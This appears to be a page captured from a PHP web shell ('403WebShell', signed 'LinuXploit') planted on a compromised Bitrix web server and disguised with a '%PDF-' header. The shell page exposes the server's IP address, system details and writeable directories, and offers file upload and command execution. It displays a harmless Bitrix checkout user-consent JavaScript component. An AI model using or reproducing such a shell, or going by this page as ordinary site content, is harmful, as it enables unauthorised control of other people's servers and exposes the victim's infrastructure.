%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.14.134.46
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/checkout/view/user-consent/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/checkout/view/user-consent/src/user-consent.js
import { BitrixVue } from 'ui.vue';
import { ajax, Tag, Type } from 'main.core';
import { EventEmitter } from 'main.core.events'
import { EventType, Component, RestMethod } from 'sale.checkout.const';


BitrixVue.component('sale-checkout-view-user_consent', {
	props: ['item'],
	methods:
	{
		getBlockHtml()
		{
			let userConsent = {
				id: this.item.id,
				title: this.item.title,
				isLoaded: this.item.isLoaded,
				autoSave: this.item.autoSave,
				isChecked: this.item.isChecked,
				submitEventName: this.item.submitEventName,
				fields: this.item.params
			};

			ajax.runComponentAction(
				Component.bitrixSaleOrderCheckout,
				RestMethod.saleEntityUserConsentRequest,
				{
					data: {
						fields: userConsent
					}
				}
			)
				.then((response)=>{
						if(
							BX.type.isPlainObject(response.data)
							&& BX.type.isNotEmptyString(response.data.html)
						)
						{
							let consent = response.data.html;

							if (BX.UserConsent !== undefined)
							{
								let wrapper = this.$refs.consentDiv;

								wrapper.appendChild(Tag.render`<div>${consent}</div>`);

								let control = BX.UserConsent.load(wrapper);


								BX.addCustomEvent(
									control,
									BX.UserConsent.events.accepted,
									() => EventEmitter.emit(EventType.consent.accepted, {})
								);
								BX.addCustomEvent(
									control,
									BX.UserConsent.events.refused,
									() => EventEmitter.emit(EventType.consent.refused, {})
								);
							}
						}
				})
		}
	},
	mounted()
	{
		this.getBlockHtml();
	},
	// language=Vue
	template: `
	  <div class="checkout-basket-section checkout-basket-section-consent">
		<div ref="consentDiv"/>
      </div>
	`
});

Youez - 2016 - github.com/yon3zu
LinuXploit